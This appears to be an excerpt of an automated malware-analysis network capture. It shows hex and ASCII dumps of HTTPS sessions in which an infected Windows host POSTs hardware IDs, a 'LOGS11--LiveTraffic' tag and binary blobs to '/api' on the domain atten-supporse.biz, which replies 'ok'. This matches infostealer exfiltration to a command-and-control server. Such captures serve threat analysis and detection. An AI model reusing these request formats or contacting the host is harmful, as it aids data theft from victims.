2024-11-29 19:08:26 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=af61k6en7t57v94e4fggirk52c; expires=Tue, 25-Mar-2025 12:55:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7uJyolFeY%2BAsz2butfex9Br7bn49W4%2BAlSf1vFQ8z5NZyZ5zhmuLnBaKPFL6VzFSRK1tnnkpa74HLPuem%2FUAGGAXfj7Y7CAA%2FkBf4kzMb8RPDUJq%2FOoFTqhTWnneEyKOqHrreYw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e2e8cfb38ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1841&min_rtt=1838&rtt_var=696&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1563169&cwnd=242&unsent_bytes=0&cid=1f0078d02530eba7&ts=937&x=0"
2024-11-29 19:08:26 UTC	350	IN	Data Raw: 34 34 38 38 0d 0a 2b 50 68 32 5a 35 44 44 71 66 72 52 38 51 77 6d 2b 69 51 52 54 37 47 42 37 4e 64 6c 6d 7a 67 75 73 34 42 47 4d 2f 79 6c 6f 78 36 44 32 67 42 46 71 76 65 46 32 4b 4b 55 4c 68 79 4f 56 6d 51 71 6e 61 4f 4e 73 30 65 68 58 6b 2f 66 38 79 4d 66 33 74 50 4f 50 4d 4b 65 46 77 76 6a 70 6f 58 59 74 49 6b 75 48 4b 46 66 4d 79 72 66 6f 39 62 31 41 50 46 61 54 39 2f 69 4a 31 69 54 31 63 39 39 6b 4a 51 52 44 2f 57 67 7a 5a 75 39 6e 47 6c 44 6e 30 56 37 49 64 6a 73 68 4c 70 48 74 78 70 4c 79 61 4a 38 45 62 48 41 31 33 2b 31 6d 51 55 4d 73 72 36 46 67 66 4f 55 59 67 54 41 42 6e 41 71 30 2b 32 4b 73 77 37 7a 55 45 62 58 34 79 4a 5a 6a 4d 7a 46 64 70 43 61 45 67 37 2f 71 64 6d 57 74 35 74 69 52 5a 56 46 4d 32 4f 54 35 4a 62 31 58 37 6b 4a 66 74 4c 7a 4e Data Ascii: 4488+Ph2Z5DDqfrR8Qwm+iQRT7GB7Ndlmzgus4BGM/ylox6D2gBFqveF2KKULhyOVmQqnaONs0ehXk/f8yMf3tPOPMKeFwvjpoXYtIkuHKFfMyrfo9b1APFaT9/iJ1iT1c99kJQRD/WgzZu9nGlDn0V7IdjshLpHtxpLyaJ8EbHA13+1mQUMsr6FgfOUYgTABnAq0+2Ksw7zUEbX4yJZjMzFdpCaEg7/qdmWt5tiRZVFM2OT5Jb1X7kJftLzN
2024-11-29 19:08:26 UTC	1369	IN	Data Raw: 45 67 76 7a 72 4d 75 4b 75 35 68 6c 51 59 70 4e 65 69 44 65 34 34 4f 2f 43 50 70 61 53 39 76 6f 4b 31 75 61 79 73 78 36 6d 70 70 55 53 37 4b 6d 30 39 6a 72 30 30 31 42 69 45 46 2f 4f 35 48 5a 7a 71 70 4a 34 42 70 4c 33 61 4a 38 45 5a 62 43 77 6e 2b 52 6c 52 63 4e 2b 62 50 4c 69 72 57 65 61 31 61 65 51 33 30 6e 30 50 47 45 75 77 48 36 55 30 66 59 35 79 4e 56 33 6f 6d 42 65 34 4c 61 54 45 58 54 72 4d 43 55 75 59 52 75 42 49 63 49 61 6d 33 55 37 38 37 74 52 2f 31 62 53 4e 44 6d 4b 6c 2b 61 79 38 64 79 6c 35 55 53 44 2f 4b 6d 77 5a 43 37 6b 6d 4e 50 6c 30 5a 32 49 4e 66 6c 67 72 51 43 75 52 51 4d 31 76 70 6b 43 64 37 70 78 6e 2b 49 32 43 45 47 2f 4b 2f 4d 6a 76 4f 4d 49 46 33 59 51 58 39 74 69 36 4f 41 73 41 6a 72 57 31 37 55 37 44 5a 64 6d 38 48 4d 66 35 53 Data Ascii: EgvzrMuKu5hlQYpNeiDe44O/CPpaS9voK1uaysx6mppUS7Km09jr001BiEF/O5HZzqpJ4BpL3aJ8EZbCwn+RlRcN+bPLirWea1aeQ30n0PGEuwH6U0fY5yNV3omBe4LaTEXTrMCUuYRuBIcIam3U787tR/1bSNDmKl+ay8dyl5USD/KmwZC7kmNPl0Z2INflgrQCuRQM1vpkCd7pxn+I2CEG/K/MjvOMIF3YQX9ti6OAsAjrW17U7DZdm8HMf5S
2024-11-29 19:08:26 UTC	1369	IN	Data Raw: 4b 2f 4d 6a 76 4f 4d 49 46 33 59 51 58 39 74 69 36 4f 43 76 41 66 79 55 45 6a 52 35 53 6c 55 6e 63 44 43 63 5a 32 51 47 67 4c 32 72 63 4b 56 74 5a 4e 70 51 4a 31 55 64 69 54 66 37 38 37 37 52 2f 35 43 44 49 6d 69 43 31 61 49 78 4f 35 2f 69 35 4e 55 47 72 79 34 69 35 2b 2f 30 7a 59 45 6e 30 4e 37 4a 74 58 72 6a 71 63 43 39 31 46 4e 32 2b 51 6c 58 4a 4c 42 77 58 32 61 6e 42 67 46 39 61 62 5a 69 72 61 56 66 45 37 59 43 44 4d 71 79 36 50 57 39 54 48 70 54 56 33 48 6f 42 46 53 6b 4d 6e 47 61 74 71 46 57 68 79 79 70 73 66 59 36 39 4e 6c 52 4a 52 42 65 79 76 58 36 34 47 36 44 75 74 62 51 4e 2f 77 49 31 47 58 79 63 35 77 6b 35 63 54 43 50 6d 72 78 70 79 30 6b 69 34 4b 32 45 46 72 62 59 75 6a 75 4b 55 4b 39 58 52 48 33 65 74 6b 54 74 44 65 67 58 75 57 32 6b 78 46 Data Ascii: K/MjvOMIF3YQX9ti6OCvAfyUEjR5SlUncDCcZ2QGgL2rcKVtZNpQJ1UdiTf7877R/5CDImiC1aIxO5/i5NUGry4i5+/0zYEn0N7JtXrjqcC91FN2+QlXJLBwX2anBgF9abZiraVfE7YCDMqy6PW9THpTV3HoBFSkMnGatqFWhyypsfY69NlRJRBeyvX64G6DutbQN/wI1GXyc5wk5cTCPmrxpy0ki4K2EFrbYujuKUK9XRH3etkTtDegXuW2kxF
2024-11-29 19:08:26 UTC	1369	IN	Data Raw: 65 79 6c 32 74 42 6e 45 46 33 4b 39 79 6a 77 50 55 41 34 52 6f 55 6b 63 30 44 5a 4e 7a 6d 2b 7a 79 46 31 41 31 46 39 61 32 4c 77 50 4f 66 62 55 69 51 53 58 55 6b 33 2b 6d 48 76 67 76 79 58 6b 44 59 35 79 4a 51 6d 38 4c 41 65 4a 61 51 45 67 62 78 72 73 53 58 75 39 4d 67 42 4a 39 65 4d 33 57 54 78 70 6d 2b 43 66 38 61 55 35 2f 37 5a 46 61 53 68 35 6b 38 6c 70 4d 53 41 2f 65 74 79 70 36 37 6c 6d 5a 41 6d 55 42 31 4c 74 7a 6e 69 37 51 49 2f 56 5a 43 32 2b 4d 6c 58 5a 58 49 79 6e 6e 61 31 46 51 43 36 75 47 54 32 49 4b 51 65 46 4f 49 53 6a 4d 79 6e 66 72 4f 73 67 75 35 41 67 7a 51 38 43 35 62 6b 4d 4c 4f 65 5a 6d 56 45 77 6a 30 72 63 47 52 75 35 56 68 54 59 70 46 66 79 50 55 37 59 4b 37 43 76 4e 5a 51 5a 47 73 5a 46 61 47 68 35 6b 38 74 70 30 5a 4b 2f 6d 74 7a Data Ascii: eyl2tBnEF3K9yjwPUA4RoUkc0DZNzm+zyF1A1F9a2LwPOfbUiQSXUk3+mHvgvyXkDY5yJQm8LAeJaQEgbxrsSXu9MgBJ9eM3WTxpm+Cf8aU5/7ZFaSh5k8lpMSA/etyp67lmZAmUB1Ltzni7QI/VZC2+MlXZXIynna1FQC6uGT2IKQeFOISjMynfrOsgu5AgzQ8C5bkMLOeZmVEwj0rcGRu5VhTYpFfyPU7YK7CvNZQZGsZFaGh5k8tp0ZK/mtz
2024-11-29 19:08:26 UTC	1369	IN	Data Raw: 38 42 4e 59 47 64 44 57 54 75 38 36 44 41 4f 6c 4b 54 35 50 54 4d 6c 4b 49 7a 4d 78 77 32 6f 56 61 48 4c 4b 6d 78 39 6a 72 30 32 68 4c 6b 55 56 38 4c 4e 72 76 67 37 41 4f 2f 46 74 4b 31 65 67 75 55 5a 6a 42 77 48 6d 51 6d 52 55 50 2b 36 62 44 6e 37 43 42 4c 67 72 59 51 57 74 74 69 36 4f 6e 73 68 58 33 53 67 7a 4f 72 44 30 52 6d 63 75 42 4a 4e 71 65 48 67 72 32 70 73 65 65 74 70 56 6a 52 5a 64 48 63 79 4c 58 36 49 65 7a 42 76 52 66 51 64 58 77 4c 6c 71 52 79 38 68 77 6c 39 70 61 52 66 57 35 69 38 44 7a 6f 6d 4e 4b 6c 6b 46 6c 62 63 79 74 6c 2f 55 41 39 52 6f 55 6b 65 4d 6f 58 70 33 49 77 6e 2b 62 6b 41 59 58 2f 71 6a 44 6e 62 2b 59 59 45 4b 4b 51 48 77 6b 30 4f 43 48 73 67 2f 31 55 45 2f 57 6f 6d 6f 52 6d 64 2b 42 4a 4e 71 35 41 78 58 2f 34 64 54 57 71 74 Data Ascii: 8BNYGdDWTu86DAOlKT5PTMlKIzMxw2oVaHLKmx9jr02hLkUV8LNrvg7AO/FtK1eguUZjBwHmQmRUP+6bDn7CBLgrYQWtti6OnshX3SgzOrD0RmcuBJNqeHgr2pseetpVjRZdHcyLX6IezBvRfQdXwLlqRy8hwl9paRfW5i8DzomNKlkFlbcytl/UA9RoUkeMoXp3Iwn+bkAYX/qjDnb+YYEKKQHwk0OCHsg/1UE/WomoRmd+BJNq5AxX/4dTWqt
2024-11-29 19:08:26 UTC	1369	IN	Data Raw: 51 58 55 6a 77 65 61 49 75 67 6a 77 55 30 6a 5a 34 53 52 56 6d 73 44 45 66 35 61 52 45 77 62 39 70 63 4b 57 75 70 77 75 43 74 68 42 61 32 32 4c 6f 36 2b 75 42 50 56 58 44 4d 36 73 50 52 47 5a 79 34 45 6b 32 70 59 61 41 50 4b 72 7a 5a 79 32 6c 57 52 42 6d 45 31 77 49 74 66 6c 69 72 6f 48 38 6c 4e 4e 31 2b 63 75 57 70 6a 4b 77 6e 71 63 32 6c 70 46 39 62 6d 4c 77 50 4f 7a 64 55 6d 55 51 54 4d 79 6e 66 72 4f 73 67 75 35 41 67 7a 61 37 69 42 57 6e 73 72 43 64 4a 2b 65 48 67 44 79 71 64 6d 51 73 35 52 38 56 70 68 50 64 69 48 51 34 34 71 7a 44 76 39 5a 53 4a 47 73 5a 46 61 47 68 35 6b 38 74 35 59 54 4c 50 57 36 69 34 66 39 69 69 35 44 6c 41 59 72 62 64 4c 6f 68 4c 6f 4b 2b 6c 78 50 32 75 63 75 55 4a 6e 50 7a 47 36 5a 6c 52 73 42 38 71 37 4e 6e 72 4b 63 61 45 4f Data Ascii: QXUjweaIugjwU0jZ4SRVmsDEf5aREwb9pcKWupwuCthBa22Lo6+uBPVXDM6sPRGZy4Ek2pYaAPKrzZy2lWRBmE1wItfliroH8lNN1+cuWpjKwnqc2lpF9bmLwPOzdUmUQTMynfrOsgu5Agza7iBWnsrCdJ+eHgDyqdmQs5R8VphPdiHQ44qzDv9ZSJGsZFaGh5k8t5YTLPW6i4f9ii5DlAYrbdLohLoK+lxP2ucuUJnPzG6ZlRsB8q7NnrKcaEO
2024-11-29 19:08:27 UTC	1369	IN	Data Raw: 39 43 6b 73 49 73 67 37 31 42 4c 77 65 55 7a 58 74 36 4a 67 58 50 61 77 69 31 46 2b 36 62 51 69 61 57 65 66 6b 50 59 65 54 31 74 79 36 50 57 39 54 4c 36 56 45 4c 57 39 44 55 63 75 64 48 4c 65 34 71 64 41 77 71 79 37 34 75 65 38 38 73 39 43 74 68 43 59 6d 32 4c 73 39 7a 75 55 71 6f 4e 48 49 50 39 61 6b 6a 65 30 59 45 6b 79 4e 52 55 46 37 4c 35 69 39 2b 77 67 58 78 43 6d 31 42 77 61 75 33 64 71 61 38 4b 2f 30 31 64 37 39 77 6a 53 35 50 42 31 6d 33 57 6a 78 63 4c 2f 4b 62 64 32 50 33 54 59 51 54 41 66 7a 4e 6c 6b 39 7a 41 39 52 2b 35 41 67 7a 6b 34 53 70 66 6d 64 48 51 4d 62 32 41 47 51 50 6c 73 49 76 57 38 35 55 75 48 4d 67 49 4d 79 6e 43 6f 39 62 6c 56 61 49 50 48 34 61 79 64 6b 37 51 33 6f 46 71 32 73 4a 47 53 37 4b 7a 69 38 44 7a 31 47 31 57 69 6b 42 77 Data Ascii: 9CksIsg71BLweUzXt6JgXPawi1F+6bQiaWefkPYeT1ty6PW9TL6VELW9DUcudHLe4qdAwqy74ue88s9CthCYm2Ls9zuUqoNHIP9akje0YEkyNRUF7L5i9+wgXxCm1Bwau3dqa8K/01d79wjS5PB1m3WjxcL/Kbd2P3TYQTAfzNlk9zA9R+5Agzk4SpfmdHQMb2AGQPlsIvW85UuHMgIMynCo9blVaIPH4aydk7Q3oFq2sJGS7Kzi8Dz1G1WikBw
2024-11-29 19:08:27 UTC	1369	IN	Data Raw: 36 74 52 36 45 61 65 64 4c 73 4b 6c 61 49 31 6f 78 62 6c 4a 30 56 45 2b 4b 32 78 4e 6a 39 30 32 67 45 77 42 51 39 62 64 66 79 7a 75 31 58 71 77 45 5a 67 72 56 30 41 34 47 4a 32 44 79 4d 32 6b 78 58 76 4f 48 5a 32 4f 76 54 4b 55 65 4b 56 48 55 75 78 65 44 4a 69 7a 6e 65 56 45 76 51 39 44 52 47 6b 59 6a 76 53 72 75 6b 4b 68 44 78 72 38 57 66 70 59 49 75 43 74 68 4a 4d 33 58 71 6f 38 62 31 4f 4c 63 61 56 4a 47 36 5a 47 53 64 79 63 39 37 6a 49 74 5a 49 76 79 6d 79 6f 36 6a 68 47 45 4c 74 6e 42 53 62 5a 32 6a 69 50 56 66 71 78 51 4d 31 66 4e 6b 43 63 36 56 6d 69 6e 4a 7a 55 52 58 37 65 2f 53 32 4b 58 54 4e 68 62 57 42 6d 46 74 69 36 50 4a 74 68 58 72 58 45 2f 48 34 57 4e 76 6f 4f 44 50 65 35 75 4d 42 41 6a 2b 67 4d 69 4a 75 61 31 51 55 5a 74 49 66 53 72 46 38 Data Ascii: 6tR6EaedLsKlaI1oxblJ0VE+K2xNj902gEwBQ9bdfyzu1XqwEZgrV0A4GJ2DyM2kxXvOHZ2OvTKUeKVHUuxeDJizneVEvQ9DRGkYjvSrukKhDxr8WfpYIuCthJM3Xqo8b1OLcaVJG6ZGSdyc97jItZIvymyo6jhGELtnBSbZ2jiPVfqxQM1fNkCc6VminJzURX7e/S2KXTNhbWBmFti6PJthXrXE/H4WNvoODPe5uMBAj+gMiJua1QUZtIfSrF8
2024-11-29 19:08:27 UTC	1369	IN	Data Raw: 33 57 56 37 44 35 43 64 48 6e 59 44 2f 51 72 65 49 45 78 58 78 34 2f 71 56 74 34 56 37 52 34 68 42 54 52 50 2b 38 59 6d 6c 42 4c 74 32 53 39 7a 75 47 6d 2b 70 31 73 5a 73 32 4c 77 58 45 2f 48 68 68 64 69 72 30 7a 59 45 74 56 52 30 50 64 43 68 6f 72 49 4b 39 52 70 54 6e 2f 74 6b 52 39 36 66 6b 6a 4c 61 69 46 52 64 73 75 62 49 69 71 47 56 62 56 4b 62 41 55 30 54 2f 76 47 4a 70 51 53 37 61 30 48 56 39 44 46 53 6a 73 44 2f 51 72 65 49 45 78 58 78 34 2b 36 69 38 61 4a 34 52 35 68 49 64 47 32 64 6f 35 62 31 58 37 6c 33 58 74 62 79 4a 78 4f 37 2f 59 4e 4e 6a 4a 6b 55 43 2f 58 68 68 64 69 2f 30 7a 59 45 6c 56 52 30 50 64 43 76 69 61 38 41 75 55 55 43 79 4b 49 79 45 63 61 55 6a 7a 79 49 32 6b 78 46 74 61 2f 47 6d 62 43 64 62 56 61 4b 51 48 41 37 30 4b 53 77 69 79 Data Ascii: 3WV7D5CdHnYD/QreIExXx4/qVt4V7R4hBTRP+8YmlBLt2S9zuGm+p1sZs2LwXE/Hhhdir0zYEtVR0PdChorIK9RpTn/tkR96fkjLaiFRdsubIiqGVbVKbAU0T/vGJpQS7a0HV9DFSjsD/QreIExXx4+6i8aJ4R5hIdG2do5b1X7l3XtbyJxO7/YNNjJkUC/Xhhdi/0zYElVR0PdCvia8AuUUCyKIyEcaUjzyI2kxFta/GmbCdbVaKQHA70KSwiy

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	50106	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:28 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IO5SZ3FV3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18115 Host: atten-supporse.biz
2024-11-29 19:08:28 UTC	15331	OUT	Data Raw: 2d 2d 49 4f 35 53 5a 33 46 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 49 4f 35 53 5a 33 46 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4f 35 53 5a 33 46 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 4f 35 53 5a 33 46 56 33 0d 0a 43 6f 6e 74 65 6e Data Ascii: --IO5SZ3FV3Content-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--IO5SZ3FV3Content-Disposition: form-data; name="pid"2--IO5SZ3FV3Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IO5SZ3FV3Conten
2024-11-29 19:08:28 UTC	2784	OUT	Data Raw: 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-11-29 19:08:30 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kik4niabpjnojhr69emd92aguc; expires=Tue, 25-Mar-2025 12:55:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mpnGnauKKkure8jFkPOJEjAEiCB4wedI7%2F766eQO%2FghckiNu%2Fpsip1utHNL7ZqY4hcobpEWUgUhKzu61mmnIKfueUdyqOSYnIdLFLEgca5exIzTNuGV1qznIKkaB7Za0ZZlmTuQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e2f9fa8d5e78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1671&rtt_var=708&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19070&delivery_rate=1747456&cwnd=252&unsent_bytes=0&cid=ff80c38e2caf33b0&ts=1485&x=0"
2024-11-29 19:08:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:08:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	50107	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:32 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OLQ4JKLJ7LQZARU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8772 Host: atten-supporse.biz
2024-11-29 19:08:32 UTC	8772	OUT	Data Raw: 2d 2d 4f 4c 51 34 4a 4b 4c 4a 37 4c 51 5a 41 52 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 4f 4c 51 34 4a 4b 4c 4a 37 4c 51 5a 41 52 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 4c 51 34 4a 4b 4c 4a 37 4c 51 5a 41 52 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --OLQ4JKLJ7LQZARUContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--OLQ4JKLJ7LQZARUContent-Disposition: form-data; name="pid"2--OLQ4JKLJ7LQZARUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-29 19:08:32 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=20rt4d3m9vcqartvm7ncuu2ltb; expires=Tue, 25-Mar-2025 12:55:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HOnPfoftNHvrmSrA987HJZ5C4rk0iOJqrQsIGm4Auv9dEMxPp9Hb520vzPNAD7VUMii0DmA6XAoktjQf9FBnuaGLiGN3ywh97yaLIAjdlULaWhQ75MN08n1c7v55aaN7LuDVj48%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e30d7dc01921-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1469&min_rtt=1457&rtt_var=572&sent=11&recv=14&lost=0&retrans=0&sent_bytes=2847&recv_bytes=9710&delivery_rate=1871794&cwnd=139&unsent_bytes=0&cid=390bc391a37a8dc6&ts=970&x=0"
2024-11-29 19:08:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:08:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	50108	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:34 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZQNIJ1EAJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20389 Host: atten-supporse.biz
2024-11-29 19:08:34 UTC	15331	OUT	Data Raw: 2d 2d 5a 51 4e 49 4a 31 45 41 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 5a 51 4e 49 4a 31 45 41 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 51 4e 49 4a 31 45 41 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 5a 51 4e 49 4a 31 45 41 4a 0d 0a 43 6f 6e 74 65 6e Data Ascii: --ZQNIJ1EAJContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--ZQNIJ1EAJContent-Disposition: form-data; name="pid"3--ZQNIJ1EAJContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ZQNIJ1EAJConten
2024-11-29 19:08:34 UTC	5058	OUT	Data Raw: 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 Data Ascii: lrQMn 64F6(X&7~`aO@dR
2024-11-29 19:08:35 UTC	1028	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=90bdbifmojijtbkfhkq2c2v9o1; expires=Tue, 25-Mar-2025 12:55:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B3QIhmAvo1siQmTe2bo0Dx3hbnENrMPiVGVetkGItlJIbZoTk0%2FaW6K%2FI0i%2FoIo49%2BNNGuiB4XH2APTn1l9g7%2BAkLqYn08Lmy8xqvZLenkyzJJELc%2FuYLoWZO2JHeDMwfYcp92k%3D"}],"group":"cf-nel","max_age":604800} NEL: 